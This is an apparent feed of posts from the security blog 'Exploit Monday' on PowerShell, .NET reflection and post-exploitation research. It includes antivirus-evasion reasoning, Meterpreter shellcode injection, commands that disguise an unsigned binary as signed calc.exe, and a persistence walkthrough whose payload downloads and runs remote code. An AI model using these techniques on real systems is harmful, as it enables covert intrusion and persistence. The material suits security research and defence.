Quantcast
Channel: Exploit Monday
Viewing all 78 articles
Browse latest View live

Deep Reflection - Defining Structs and Enums in PowerShell

$
0
0
One of the reasons PowerShell is so powerful is in its ability to access to .NET framework. In theory, this should make the transition for C# developers seamless. Unfortunately, PowerShell is not quite a one-to-one translation of C#. I demonstrated where this is not the case in a previous post by illustrating the hoops you need to jump through to declare a delegate type in PowerShell using reflection. Declaring an enum or struct is no different.

Before I jump into the technical details, it's worth addressing the question you may have already formed. Why don't you just compile C# code using the Add-Type cmdlet? Well, that is a perfectly valid method of declaring a struct, enum, delegate, etc. However, compiling C# code leaves artifacts on the disk. To prove my point, just run Procmon while compiling C# in PowerShell. As someone with an attacker's mindset, I prefer that all operations take place in memory unless absolutely necessary. Fortunately, true memory residence can be achieved using reflection.

As an example, here is a portion of the code from my last PowerSploit release - Get-PEHeader:

$code = @"
    using System;
    using System.Runtime.InteropServices;
 
    public class PE
    {
        public enum IMAGE_DOS_SIGNATURE : ushort
        {
            DOS_SIGNATURE =                 0x5A4D,      // MZ
            OS2_SIGNATURE =                 0x454E,      // NE
            OS2_SIGNATURE_LE =              0x454C,      // LE
        }


        [StructLayout(LayoutKind.Sequential, Pack=1)]
        public struct _IMAGE_DOS_HEADER
        {
            public IMAGE_DOS_SIGNATURE   e_magic;        // Magic number
            public ushort   e_cblp;                      // public bytes on last page of file
            public ushort   e_cp;                        // Pages in file
            public ushort   e_crlc;                      // Relocations
            public ushort   e_cparhdr;                   // Size of header in paragraphs
            public ushort   e_minalloc;                  // Minimum extra paragraphs needed
            public ushort   e_maxalloc;                  // Maximum extra paragraphs needed
            public ushort   e_ss;                        // Initial (relative) SS value
            public ushort   e_sp;                        // Initial SP value
            public ushort   e_csum;                      // Checksum
            public ushort   e_ip;                        // Initial IP value
            public ushort   e_cs;                        // Initial (relative) CS value
            public ushort   e_lfarlc;                    // File address of relocation table
            public ushort   e_ovno;                      // Overlay number
            [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 8)]
            public string   e_res;                       // May contain 'Detours!'
            public ushort   e_oemid;                     // OEM identifier (for e_oeminfo)
            public ushort   e_oeminfo;                   // OEM information; e_oemid specific
            [MarshalAsAttribute(UnmanagedType.ByValArray, SizeConst=10)]
            public ushort[] e_res2;                      // Reserved public ushorts
            public int      e_lfanew;                    // File address of new exe header
        }
    }
"@


Add-Type -TypeDefinition $code -WarningAction SilentlyContinue | Out-Null

As you can see, the C# 'code' above defines an enum and a struct that are compiled when Add-Type is called. The need to compile the code above can be obviated with reflection. This however requires some understanding of the attributes that define the fields in the enum and struct above. Interrogating these attributes can be accomplished with ildasm or PowerShell. I'll show you how to do this in PowerShell.

First, let's view the attributes of the IMAGE_DOS_SIGNATURE enum:

PS > [PE+IMAGE_DOS_SIGNATURE] | Format-List BaseType, Attributes
BaseType   : System.Enum
Attributes : AutoLayout, AnsiClass, Class, NestedPublic, Sealed

Now, let's view all the relevant individual attributes of the _IMAGE_DOS_HEADER struct:

PS > [PE+_IMAGE_DOS_HEADER] | Format-List BaseType, Attributes
BaseType   : System.ValueType
Attributes : AutoLayout, AnsiClass, Class, NestedPublic, SequentialLayout, Sealed, BeforeFieldInit
PS > [PE+_IMAGE_DOS_HEADER].GetField('e_res').GetCustomAttributes($True) | Format-List Value, TypeId, SizeConst
Value     : ByValTStr
TypeId    : System.Runtime.InteropServices.MarshalAsAttribute
SizeConst : 8
PS > [PE+_IMAGE_DOS_HEADER].GetField('e_res2').GetCustomAttributes($True) | Format-List Value, TypeId, SizeConst
Value     : ByValArray
TypeId    : System.Runtime.InteropServices.MarshalAsAttribute
SizeConst : 10

Now we have everything we need to dynamically generate the enum and struct. The following code demonstrates how to accomplish this and returns the DOS header for calc.exe:


By now, you can see the additional overhead required to dynamically generate code. However, if your goal is to avoid compiling code and remain truly memory resident, this is the way to go. Expect to see an update to Get-PEHeader that will implement these changes in the near future.

Surgical .NET Dissection - Using PowerShell Proxy Functions to Extend Get-Member

$
0
0

Download: 'Get-Member' proxy function

tl:dr version

Using proxy functions in PowerShell, a '-Private' parameter can be added to the Get-Member cmdlet which will expose all non-public .NET members. This feature is ideal for those interested in hacking, researching or tearing apart the .NET framework.



In previous posts, I've mentioned methods to expose private types and members in .NET with PowerShell. Leveraging these techniques creatively require at least a basic knowledge of reflection and .NET internals. These techniques also consume a lot of keystrokes. After reading an excellent introduction to proxy functions, I learned that any existing cmdlet can be added to or subtracted from. This inspired me to extend the Get-Member cmdlet.

Before proceeding in this article, it is recommended that you become familiar with proxy functions.

For those PowerShell users who have been living under a rock, Get-Member is a required cmdlet to be familiar with. It prints all public members (properties, methods, events, etc.) of both instance and static types. For example, the following command will return all the public and static members of the System.Convert class:


The Get-Member cmdlet returns objects of the type System.Management.Automation.PSMemberTypes consisting of the following parameters and types:

      Name - String
  Typename - String
MemberType - System.Management.Automation.PSMemberTypes
Definition - String

What you're not seeing in the output above are all of the non-public members. There is a valid reason for this - there is no way to directly access them and most people don't care to see that which they cannot touch. I, on the other hand enjoy touching one's private members... of .NET objects. ;D So I modified Get-Member to produce the following:


Adding the '-Private' parameter was no trivial matter. First of all, the MemberType field of the Get-Member output is problematic because non-public members use member types from the System.Reflection.MemberTypes class, not System.Management.Automation.PSMemberTypes. What I did to resolve this was convert the output to custom PSObjects with the same properties of the Get-Member output. This was achieved in the following code snippet:


The PSObject.TypeNames.Insert method was used to trick PowerShell into thinking that my custom object was a MemberDefinition object when it got output to the console. This trick is possible because a custom view for Microsoft.PowerShell.Commands.MemberDefinition is defined in PowerShellCore.format.ps1xml.

To install the proxy function, you can do any of the following:

1) Install in your current session:

PS> . .\Get-Member.ps1

2) Persistant install:

* I placed the script in the same folder as my profile.ps1 script and added this line:

. (Join-Path (Split-Path $PROFILE) Get-Member.ps1)

As usual, let me know if you have any questions or bug reports. For all other PowerShell related questions, Get-Help is your friend. Also, the modified Get-Member is fully documented via `help Get-Member -Full -Category function`.

As a final exercise, I encourage everyone to try out the following commands and observe the interesting results:

PS> [AppDomain]::CurrentDomain.GetAssemblies() | % {$_.GetTypes()} | % {$_ | Get-Member -Private -Force}
PS> [AppDomain]::CurrentDomain.GetAssemblies() | % {$_.GetTypes()} | % {$_ | Get-Member -Private -Static -Force}

Why I Choose PowerShell as an Attack Platform

$
0
0

Since the inception of PowerShell, it has been a blessing for Windows administrators everywhere. As Don Jones so eloquently puts it, "you can either learn PowerShell, or learn to ask, 'would you like fries with that?'” I couldn’t agree with that sentiment more. After all, with server core being the default installation option of Windows Server 2012, knowledge of PowerShell is becoming increasingly crucial. This is what Microsoft wants because they know deep down that an IT workforce armed with powerful automation is more productive, profitable, and able to focus more of their time on difficult problems – versus becoming mindless, button-pushing drones.

However, (cliché warning!) with great power comes great responsibility. PowerShell, in my opinion is an extremely viable attack platform. To my knowledge, PowerShell has only recently emerged as an attack platform, starting with Dave Kennedy and Josh Kelly’s seminal Defcon talk – PowerShell OMFG.  In fact, as a security researcher, it was their talk that inspired me to learn PowerShell in the first place.

Infosec professionals know that getting access to a target machine is only the first step. There is such a wealth of exploits and social engineering techniques out there that the fear isn’t if you’ll be compromised, it’s when or how long you’ve already been compromised. That is, assuming you’re a valuable enough target to warrant being targeted in the first place. Post-exploitation tactics and strategy is everything if you want access to the crown jewels.

So why is PowerShell such a juicy target in a post-exploitation scenario? To understand why, it will help to understand the primary roadblock attackers will run into on a Windows platform – Antivirus/Host-based IDS/IPS.

Malicious binaries (exes/dlls) enable an attacker to perform any attack imaginable primarily due to an executable’s unfettered access to the Win32 API. However, between sophisticated heuristical runtime signatures and reputation-based signatures, AV vendors have certainly raised the bar when it comes to executing malware compiled to native assembly.

Scripting languages offer an advantage to an attacker because they provide a layer of abstraction that AV has no idea how to interpret. For example, a common AV bypass technique is to package malicious Python scripts into an executable. AV has a hard time distinguishing the resulting binary as malicious or legitimate because the Python interpreter itself has plenty of legitimate uses. PowerShell offers a distinct advantage in this scenario due to its tight integration with the Windows OS and considering it’s based upon the .NET framework. With such a powerful scripting environment, there is no need to drop files on disk. Everything, with the possible exception of the script itself run entirely memory-resident.

Furthermore, access to the .NET framework enables an attacker to choose their target’s poison both at a lower-level via P/Invoke (i.e. direct access to Win32 API) or via a higher-level interpreted “language/framework” - .NET. Both have their advantages and disadvantages and if you read my previous blog posts, you’ll begin to understand the merits of both methodologies. Recently, my research has lead me to believe that reflection is the ideal compromise between the high and low-level languages in terms of bypassing Antivirus. In fact, I hope to have a tangible product in the near future (~ 6 months) to substantiate my claim.

Another increasing trend of attackers is that they are leveraging existing tools to carry out their attacks. This is a logical progression since it enables one to remain under the radar by mixing in with legitimate administrative chatter. After all, who needs to execute a binary with a reverse shell payload when you have RDP, psexec, net, cmd, cscript, wmic, wbemtest, mofcomp, PowerShell, etc. at your disposal. Obviously, I’m generalizing but you get my point. So why do I choose PowerShell? Quite simply, it combines the functionality of all the aforementioned admin tools while adding its own unique functionality. In particular, I’m referring to the following:

  • Simple access to network sockets
  • Ability to assemble malicious binaries dynamically in memory
  • Direct access to the Win32 API
  • Simple interface to WMI
  • A powerful scripting environment
  • Dynamic, runtime method calls
  • Easy access to crypto libraries
  • Ability to hook managed code
  • Simple bindings to COM
  • Etc…

With a few notable exceptions, PowerShell has just about everything an attacker could ask for.

The bottom line is, PowerShell is not the exploit itself, it’s the enabler of further compromise. However, this should come as no surprise. Any tool that can be used for legitimate purposes can and will be used for malicious purposes. PowerShell simply mitigates many of the risks malicious actors face when operating on an already compromised machine. In the mean time, the cat and mouse game will continue and when PowerShell is sufficiently locked down, attackers will move on to the next target.  The ultimate goal is to prevent, mitigate, detect, and respond to attacks rendering the PowerShell attack vector null and void.

PowerSploit - Inject-Shellcode Update

$
0
0


I just released an updated version of Inject-Shellcode. Significant portions of the code have been cleaned up and its parameters were simplified. While I hate to change the original interface, there were several redundancies in the original parameters that didn't make any sense. Here is the changelog for this release:

New Features/Changes:
  • Dramatically simplified parameters. Removed redundancies and named parameter sets more appropriately
  • Added 'Shellcode' parameter. Now, you can optionally specify shellcode as a byte array rather than having to copy and paste shellcode into the $Shellcode32 and/or $Shellcode64 variables
  • Added 'Payload' parameter. Naming is now consistant with Metasploit payloads. Currently, only 'windows/meterpreter/reverse_http' and 'windows/meterpreter/reverse_https' payloads are supported.
  • Inject-Shellcode will now prompt the user to continue the 'dangerous' action unless the -Force switch is provided. Hopefully, this will prevent some people from carrying out stupid/regrettable actions.
  • Added the 'ListMetasploitPayloads' switch to display the Metasploit payloads supported by Inject-Shellcode

Bug fixes/Miscellaneous:

  • Added UserAgent parameter to help documentation
  • Code is much more readable now
  • Changed internal helper functions to 'local' scope
  • Now using proper error handling versus Write-Warning statements
  • Added a subtle warning to the built-in shellcode...

Here is the updated help documentation:
Enjoy and let me know if you have any suggestions for improvements!

PowerShell v3 Cmdlet: Get-CourseraVideos

$
0
0
For those who haven't been through any of Coursera's free online courses, I cannot recommend them highly enough. For a while now, I've been wanting to download all of a classes videos to disk. Doing this manually is a huge pain, however. Rather, I wrote a PowerShell v3 script to automate this process. With the introduction of the Invoke-WebRequest cmdlet, PowerShell v3 is perfectly suited for this task.

Please note that you may be violating the Coursera terms of service as of (effective as of 10 April, 2012) by using this script. Otherwise, enjoy and happy learning!

Get-MethodAddress - A Tool For Comparing .NET MSIL and ASM Method Implementations

$
0
0
Download: Get-MethodAddress

Lately, as part of my research, I've found myself wanting to learn more about how MSIL (Microsoft Intermediate Language) opcodes in .NET assemblies get translated to assembly language instructions. Unfortunately, there was no easy way that I was aware of to get the unmanaged address of a .NET method. After digging in to the wealth of MSIL opcodes at my disposal, I learned that the Ldftn opcode would suit my needs. This find resulted the Get-MethodAddress PowerShell cmdlet. Get-MethodAddress uses reflection to build an assembly on the fly and assemble a method using the opcodes of my choosing - specifically, Ldftn. Here is the code:
The relevant lines in the code are the ones that specify the MSIL opcodes to be assembled:

$Generator.Emit([System.Reflection.Emit.OpCodes]::Ldftn, $MethodInfo)
$Generator.Emit([System.Reflection.Emit.OpCodes]::Conv_Ovf_U8)
$Generator.Emit([System.Reflection.Emit.OpCodes]::Ret)

Ldftn as described by Microsoft "pushes an unmanaged pointer (type native int) to the native code implementing a specific method onto the evaluation stack.I then convert the native int to an unsigned int64 using the Conv_Ovf_U8 opcode and then return the value to the caller with Ret.

So how might one use this cmdlet? As an example, say I'm interested in the IL and ASM implementation of the [System.Intptr].ToPointer method. To get the IL of this method, you could use your .NET disassembler of choice. I like PowerShell so let's use that:

PS> ([IntPtr].GetMethod('ToPointer').GetMethodBody().GetILAsByteArray() | % {"0x$($_.ToString('X2'))"}) -join ','
0x02,0x7B,0x53,0x04,0x00,0x04,0x2A

The IL opcodes above translate into the following disassembly:

0x02                     ldarg.0
0x7B,0x53,0x04,0x00,0x04 ldfld void* System.IntPtr::m_value
0x2A                     ret

The code above simply loads a reference to an instance of an IntPtr object, dereferences the value held in the m_value field and returns the result. I suspect that the JITed representation would be equally straightforward. Let's confirm that:

PS> Get-MethodAddress ([IntPtr].GetMethod('ToPointer'))
0x000007FF35544CC0

Viewing the assembly instructions in WinDbg yielded the following:

mscorlib_ni+0xd04cc0:
000007ff`35544cc0 488b01    mov     rax,qword ptr [rcx]
000007ff`35544cc3 c3        ret
000007ff`35544cc4 cc        int     3

The assembly above does exactly what I expected. When ToPointer gets executed, the m_value field of the IntPtr instance gets loaded into the rcx register and dereferenced. Moving this value into rax followed by a ret implies that the dereferenced value is the return value of the ToPointer method.

It's worth noting the module name in the WinDbg output - mscorlib_ni. NI stands for "native image" which means that the version of mscorlib that was loaded into the PowerShell process was the version whose IL was converted to assembly language ahead of time.

Lastly, bear in mind that the combination of opcodes I used in the cmdlet are unverifiable which basically means that this technique cannot be used in more restricted .NET implementation (i.e. Silverlight, Windows Runtime, etc.). For a reference of IL opcodes and IL verification, read ECMA-335 CLI Partition III - CIL.



In-Memory Managed Dll Loading With PowerShell

$
0
0
Download: Out-CompressedDll

The .NET framework has a very handy method which loads a managed executable as a byte array – [System.Reflection.Assembly]::Load(byte[] rawAssembly). From the perspective of a malicious script, this is very convenient because it allows for a dll to be self-contained within the script body. What’s not as convenient is the size required to store the raw dll as a byte array in the script. To alleviate the size dilemma, I’ve written a PowerShell script that reads in a managed dll, compresses it, base64-encodes it, and outputs generated code that you can simply paste into any script that requires the dll.
As an example, I’ll compile the following code and run it through the script:
PS C:\> csc /target:library test.cs
Microsoft (R) Visual C# Compiler version 4.0.30319.17929
for Microsoft (R) .NET Framework 4.5
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\> Out-CompressedDll .\test.dll | Out-File LoadDll.ps1

I then add the following to the generated script to run the DoStuff method: [Test]::DoStuff()

This results in the following script:
And that's all there is to it!

Note that this technique will only load MSIL-based dlls. It will not load native or  IJW ('it just works' - mixed-mode) dlls.

Dumping Strong-Name Keypair Paths Used by Microsoft

$
0
0

When you want to sign a managed assembly with a strong name, you must do so with a key pair in the form of an snk file. Microsoft's assemblies are no exception. After seeing a few assemblies signed by Microsoft, I couldn't help but notice that they reveal some information about their internal filesystem. So I decided to dump all of the AssemblyKeyFileAttribute objects associated with every assembly registered in the GAC (global assembly cache). What follows is the PowerShell v3 command I used to generate the results and the results themselves.

(Get-ChildItem C:\Windows\assembly -Recurse -Include '*.dll' | % { [Reflection.Assembly]::ReflectionOnlyLoadFrom($_).CustomAttributes } | ? { $_.AttributeType.Name -eq 'AssemblyKeyFileAttribute' } | % { $_.ConstructorArguments.Value }) 2> $null

..\..\..\..\tools\devdiv\FinalPublicKey.snk
c:\oob\public\ext\sdk\vs9sp1\internal\strongnamekeys\fake\MSSharedLibSN1024.snk
d:\DMG_1102CTP\src\tools\devdiv\35MSSharedLib1024.snk
d:\oobwdeploy\public\ext\sdk\vs9rtm\internal\strongnamekeys\fake\MSSharedLibSN1024.snk
d:\sp1qfe.public.x86fre\internal\strongnamekeys\fake\windows.snk
d:\w7rtm.public.amd64fre\internal\strongnamekeys\fake\windows.snk
d:\w8rtm.public.amd64fre\internal\strongnamekeys\fake\windows.snk
d:\w8rtm.public.x86fre\internal\strongnamekeys\fake\windows.snk
d:\webmatrix22_rtw\public\ext\sdk\vs10sp1\internal\strongnamekeys\fake\MSSharedLibSN1024.snk
d:\win7_winmain.public.amd64fre\internal\strongnamekeys\fake\windows.snk
d:\win8_gdr.public.x86fre\internal\strongnamekeys\fake\windows.snk
E:\DNA\public\tools\common\security\FinalPublicKey.snk
e:\sql11_main_t\\sql\Common\SNK\SQL2003SNKEY.snk
e:\sql12_main_t\\sql\Common\SNK\SQL2003SNKEY.snk
f:\\dd\\Tools\\devdiv\\FinalPublicKey.snk
F:\dd\tools\devdiv\35MSSharedLib1024.snk
f:\dd\tools\devdiv\EcmaPublicKey.snk
f:\dd\tools\devdiv\FinalPublicKey.snk
f:\dd\wpf\src\windows.snk
f:\RTM\Tools\devdiv\FinalPublicKey.snk
FinalPublicKey.snk

While this information doesn't reveal anything of much value, it's interesting nonetheless to view the inconsistencies in Microsoft's signing procedure. At least they don't store all their keys in one basket!

List All Win32/Native Functions Declared/Used By PowerShell

$
0
0
The PowerShell v3 command below will list every P/Invoke declaration made by the assemblies loaded in your PowerShell session. This knowledge may be useful for those seeking to avoid performing their own P/Invoke declarations in PowerShell scripts. What does this mean for those unfamiliar with P/Invoke? This means that you can call the Win32/Native functions listed without needing to compile code (via Add-Type) or getting fancy with reflection.
What you may notice in the resultant output is Microsoft's inconsistency in declaring their DllImport attributes. For example, some dll names are all upper case, some are all lower case, some are camel case, and others lack the dll file extension. Lastly, it's worth noting that the same techniques used to dump the information from all loaded assemblies can be used on all assemblies in the GAC.

Here's the output of the command above from my PowerShell v3 session:

Get-PEB – A Tool to Dump the Process Environment Block (PEB) of Any Process

$
0
0
Download: Get-PEB

Recently, I made the mistake of volunteering to undertake the creation of a process environment block parsing tool in PowerShell. Several painstaking days of work later, Get-PEB was created. Get-PEB is a self-contained script that will retrieve and parse the PEB of an arbitrary process, independent of Windows OS version (well, XP and above) and architecture – i.e. it will retrieve the PEB of 32-bit, 64-bit, and Wow64 processes.

What is the process environment block? It is a structure that is formed during process initialization that contains data pertinent to the execution of a process and is closely associated with the EPROCESS data structure in the kernel. The structure isn’t fully documented by Microsoft but fortunately, the symbols for the PEB and its embedded structures are made available via `dt nt!_PEB` in Windbg. Additionally, there is a wealth of open source documentation.

The process environment block is also heavily used by shellcode to resolve dll function addresses without needing to call GetProcAddress.

Running Get-PEB is pretty simple. You can either give it a process ID via the ‘-Id’ parameter or you can just pipe the output of Get-Process (ps) to it via the pipeline. For example, let’s say I’m interested in retrieving the PEB from a notepad.exe process:
One of the techniques used by shellcode to get the addresses of loaded modules in memory is to walk the InLoadOrderModuleList doubly linked list to obtain the base address of kernel32.dll and ntdll.dll. Ntdll and kernel32 are almost always the second and third entries in this list. I didn’t bother to parse every possible substructure contained within the PEB in Get-PEB but I did make sure to parse the InLoadOrderModuleList, InMemoryOrderModuleList, and InInitializationOrderModuleList linked lists which point to a series of LDR_DATA_TABLE_ENTRY structures.

So, if I wanted to view the InLoadOrderModuleList field in notepad.exe, I simply type the following:
This script was not trivial to produce. I faced a number of challenges during its creation:

Problem: The definition of the PEB structure has evolved over time since Windows XP and I wanted to reflect these changes dynamically based upon the version of Windows running.

Solution: Reflection was suited perfectly for this task since its intended use is the creation of assemblies, modules, and types (structures are a subset of types in .NET) on the fly. I wrote some logic that retrieves the NTDDI representation of the Windows version and built up the structure of the PEB dynamically based upon the well documented difference in ReactOS.

Problem: Parsing memory structure pointed to by memory addresses in the virtual address space of another process proved problematic.

Solution: I developed a helper function - Get-StructFromMemory to address this issue. It is basically calls ReadProcessMemory in kernel32, copies data from the other process into local virtual memory and calls [Runtime.InteropServices.Marshal]::PtrToStructure.

Problem: Making it all look pretty.

Solution: ps1xml files are designed to format the output of objects. The challenge is that since the PEB structure is created dynamically, I have to account for every possible type that it might emit. The included Get-PEB.format.ps1xml accounts for all these possibilities.

I hope you enjoy Get-PEB. As usual, I encourage you to ask questions, report bugs, propose improvements. Hopefully, time permitting, I’ll parse additional substructures in the PEB. The next one on the list for me is the _RTL_USER_PROCESS_PARAMETERS structure pointed to by the ProcessParameters field.

Windows File Confusion: Masquerading Unsigned Binaries as Signed Ones

$
0
0

Could it be? A non-PowerShell related blog post?

A while ago, Mark Baggett (@MarkBaggett) tipped me off to a technique that he had seen malware using in the wild. He explained that if you could manage to execute an unsigned binary with the same name as a signed binary (but with trailing white space) that it would take on the code signature of the legitimate binary.

I was obviously intrigued. This posed a bit of a challenge though because Windows automatically strips trailing white space from file names. I eventually figured out how to bypass this slight restriction by echoing the contents of my binary using `type` to a path prefixed with \\?\.

For example, to name the file "evil.exe" to "calc.exe   " (note the three trailing spaces), you would do the following:

type evil.exe > "\\?\C:\Windows\System32\calc.exe   "

Great. We now have an unsigned binary with trailing white space. Now how does one execute it? As is demonstrated by the following screenshot, there is no longer a file association with the binary and Windows doesn't know how to load it.



I asked some friends for ideas on how to execute it and Chris Campbell (@obscuresec) had the genius idea to execute it via its 8.3 file name. Trying to call it directly from cmd.exe with its 8.3 file name unfortunately opened the original, signed calc. However, executing it with the Create method of the Win32_Process WMI class worked like a champ! This was accomplished with the following WMIC command:

wmic process call create C:\Windows\System32\CALC~1.exe

The following screenshot demonstrates the steps necessary to create a binary with trailing white space and consequently execute it:



Upon executing the unsigned file masquerading as the original calc.exe, you notice something amusing - when viewed in Process Explorer, the signed calc.exe is mistaken for the unsigned one and Process Explorer mistakenly reports the unsigned calc as having a valid code signature both in the process and module listings. It doesn't take long to see that something isn't right though. For example: the following differences are evident:

  • The file sizes differ
  • The unsigned binary is a .NET executable. The original calc is not.
  • The unsigned binary is lacking the company name of "Microsoft Corporation". I tried to replicate the company name by modifying the assembly information of my unsigned binary but it caused Process Explorer to no longer say that it was '(Verified) Microsoft Windows'.



Another peculiarity I witnessed was that depending upon how you referenced the file names, the hash of the unsigned binary differed. Its true hash would only be manifested by referring to its 8.3 file name.



All in all, I would consider this technique to be more of a novelty than a serious vulnerability. For example, sigcheck detects the unsigned binary. Also, if code integrity checks are enforced (as Windows RT does), the kernel will prevent the unsigned binary from being executed. The underlying logic flaw is that Microsoft made the assumption that an executable would not have any trailing white space. As a result, the file information of the original executable (with no trailing white space) is processed rather than that of the one with trailing white space.

You can download the binary I used in the screenshots here. All it is is a basic Windows Forms .NET executable with the calc.exe icon and assembly information.

Parsing Binary File Formats with PowerShell

$
0
0
I'm giving a presentation on "Parsing Binary File Formats with PowerShell" for MiSec on Tuesday, March 26. For those who will not be attending, the slides and code are available for download.



In the presentation, I cover the following:

1) Why you would want to parse binary data
2) Why PowerShell is a powerful tool to accomplish this task
3) A brief overview of data types and how they differ across languages: C/C++, C#, PowerShell
4) Conversion from C data types to PowerShell/.NET data types
5) All concepts taught are applied by parsing the DOS header of a PE file.
6) DOS header overview
7) The three strategies for parsing binary data in PowerShell:
   a) Pure PowerShell-based approach using only PowerShell cmdlets (no .NET)
   b) C# compilation using the Add-Type cmdlet
   c) Reflection
8) Reading in binary data in PowerShell
9) I cover building a DOS header parser using the three strategies
10) Brief overview of reflection and .NET application layout
11) Applications of a DOS header parser
12) Bonus: Intro to the Rich signature
13) Bonus: I extend the DOS header parser to decode and parse the Rich signature

I also provide the following code:

1) Get-DosHeader_Pure_PowerShell.ps1 - A pure PowerShell-based implementation of the DOS header parser
2) Get-DosHeader_CSharp.ps1 - A DOS header parser using Add-Type to compile C# code
3) Get-DosHeader_Reflection.ps1 - A DOS header parser implemented using reflection
4) Get-DosHeader_Reflection_Bonus.ps1 - Same as #3 but extended to include a Rich signature decoder/parser
5) Get-DosHeader.format.ps1xml - A formatting file used to display a proper hexadecimal representation of the parsed DOS header

While the example I use throughout the presentation is a simple one, you would be surprised what information can be gleaned by performing analysis on known good DOS headers in PE files. For example, after scanning 6695 DOS headers, I found that the following fields were always 0: e_crlc, e_cparhdr, e_minalloc, e_ss, e_csum, e_ip, e_cs, e_ovno, e_oemid, e_oeminfo, e_res2. This simple heuristic alone could be used as a signature to detect a malformed DOS header/PE file. TinyPE is the perfect example. Also, a simple DOS header parser can be used to scan for all PE files on disk. What you'll discover is that there are some non-standard PE file extensions that you may not have been familiar with: .lrc, .ax, .rs, .tlb, .acm, .tsp, .efi, .rll, .ime, .old, .dat, .iec, etc.

The techniques that I describe can easily be used to parse any binary format - from a stupid DOS header parser to a PowerShell implementation of binwalk. The sky is the limit.

Enjoy!

Practical Persistence with PowerShell

$
0
0
Download: Persistence Module



As I've preached continuously, PowerShell is the ideal post-exploitation tool in a Windows environment. A PowerShell-based payload can accomplish the same tasks of any compiled payload all without fear of flagging anti-virus. Unfortunately, PowerShell offers no built in method of persisting your payloads. PowerShell v3 introduced a scheduled tasks module but obviously, this only works with v3 and you're out of luck if you want to persist via any other method.

I developed a persistence module for PowerShell that solves the challenges of persisting scripts once and for all. The module adds persistence capabilities to any PowerShell script. Upon persisting, the script will strip out its persistence logic.

Generating a persistent script is relatively straightforward:

1) Drop the 'Persistence' folder into your module directory (usually $Env:HomeDrive$Env:HOMEPATH\Documents\WindowsPowerShell\Modules) or just install the entire PowerSploit module.

2) Import the 'Persistence' module

Import-Module Persistence

3) Create your payload. This can come in the form of a scriptblock or a ps1 file. In this example, I'll be using a scriptblock consisting of a rickroll payload. ;D

$Rickroll = { iex (iwr http://bit.ly/e0Mw9w ) }

4) Specify the desired limited-user persistence options:

$UserOptions = New-UserPersistenceOptions -Registry -AtLogon

5) Specify the desired elevated persistence options:

$ElevatedOptions = New-ElevatedPersistenceOptions -PermanentWMI -Daily -At '3 PM'

6) Apply the persistence options to the rockroll payload. A persistence and removal script will be generated:

Add-Persistence -ScriptBlock $Rickroll -ElevatedPersistenceOptions $ElevatedOptions -UserPersistenceOptions $UserOptions -PassThru -Verbose

6a) Optionally, create a one-liner out of the generated persistence script (requires the full PowerSploit module):

Add-Persistence -ScriptBlock $Rickroll -ElevatedPersistenceOptions $ElevatedOptions -UserPersistenceOptions $UserOptions -PassThru -Verbose |
Out-EncodedCommand | Out-File .\EncodedPersistentScript.ps1

7) The generated script will look like this:
8) Deploy the payload. In my example, I will execute the persistent payload remotely using WMIC and the encoded one-liner I generated:
9) The payload has now persisted on the target machine. Sit back and let the hilarity ensue.

Shellcode Execution in .NET using MSIL-based JIT Overwrite

$
0
0

Download: Invoke-ShellcodeMSIL

While investigating MSIL opcodes a while back, I uncovered a useful opcode - Cpblk. Cpblk is the MSIL equivalent of a memcpy. After writing a .NET method that utilized Cpblk, I immediately thought of a practical use - overwrite a JITed .NET method with shellcode. That way, I could execute shellcode directly without needing to call any Win32 functions. I wrote Invoke-ShellcodeMSIL as an implementation of my idea.

For those who are unfamiliar with MSIL. MSIL is Microsoft's implementation of the Common Interface Language or in other words, .NET bytecode. Using reflection or an IL assembler (like ilasm), you can craft .NET methods using raw MSIL opcodes. There is a great introduction to MSIL opcode assembly in "Metaprogramming in .NET."

For Invoke-ShellcodeMSIL, I wrote a dummy method that simply XORs an input number 101 times. I chose to use an XOR function because I was confident that it would not be optimized during the JIT process. As a consequence, this dummy method will contain sufficient space for a shellcode buffer.

I then wrote the 'memcpy' method using the following opcodes:

Ldarg_0 - Arg0 is the destination buffer (i.e. the address of the dummy JITed method)
Ldarg_1 - Arg1 is the source buffer (i.e. where my shellcode is allocated in RW memory)
Ldarg_2 - Arg2 is the length of the source buffer
Volatile
Cpblk
Ret

After defining the XOR method using reflection, I executed it twenty times in order to force the method to be JITed. Finally, I called my overwrite method and overwrote the JITed XOR method with my shellcode. Here are the screenshots of the disassembly before (left) and after (right) the overwrite:


When you provide your shellcode to Invoke-ShellcodeMSIL, make sure your shellcode ends in a RET and that the stack is in proper alignment (duh :P) or PowerShell will crash. A shellcode stub us generated at runtime depending upon the bitness PowerShell. All it does is save the non-volatile registers, jump to your shellcode, and return zero to the caller. The rest is up to you. :D

Enjoy!

Working with Unmanaged Callback Functions in PowerShell

$
0
0
tl;dr version

With a little bit of work, you can bind a scriptblock to an unmanaged callback function in PowerShell. The key to accomplishing this is by casting a scriptblock as a non-generic delegate that has the function signature of the desired callback function. Fortunately, creating non-generic delegates is made easy with my Get-DelegateType function.



I’ve previously spoken in depth about the various ways to interact with the Win32/Native API in PowerShell. The ability to do this unlocks all kinds of potential for PowerShell. There was one subset of functions however, that to this day I was unable to interact with – those that have parameters with unmanaged callback functions. C# developers may cry foul of my assertion and state that you can easily do this in C# code and then just call the Add-Type cmdlet. Those developers would be right. I however, wanted to accomplish this in pure PowerShell without compiling a single line of code.

For those who may not be familiar with callback functions, they are basically a block of executable code that gets passed in as a parameter to a function, typically as a function pointer. When the function executes the callback function, it generally passes several arguments. It is up to the implementation of the callback function as to what gets done with those arguments.

For example, the EnumChildWindows user32 function accepts a WNDENUMPROC (EnumChildProc) parameter – a callback function that gets passed to it a window handle and an optional user-defined parameter. Here are the function definitions for both EnumChildWindows and EnumChildProc:


Now, function pointers are simple in C. That concept doesn’t easily translate to the world of PowerShell, however. The closest analog to a function pointer in .NET is a delegate which we can work with in PowerShell. In fact, it is not well known but you can actually cast a scriptblock as a delegate! The PowerShell engine implements a lot of plumbing under the hood in order to make this happen. Here’s a silly example of a scriptblock being cast and invoked as a generic Func delegate:
Now back to callback functions. After a little bit of experimentation, I discovered that you cannot bind a scriptblock to a generic delegate like we did in the last example when dealing with P/Invoke methods. You can, however bind them to non-generic types. In fact, that’s exactly what Get-DelegateType was designed to do! As an example, this is the code I used to replicate the EnumChildProc callback function:
The only thing left to do is to define the method signature for the EnumChildWindows function. The following table lists the equivalent types that we’ll use in PowerShell.


Now that we have everything we need to get started, I wrote a function that enumerates all child windows and returns their handle and title – Get-ChildWindows
 
 
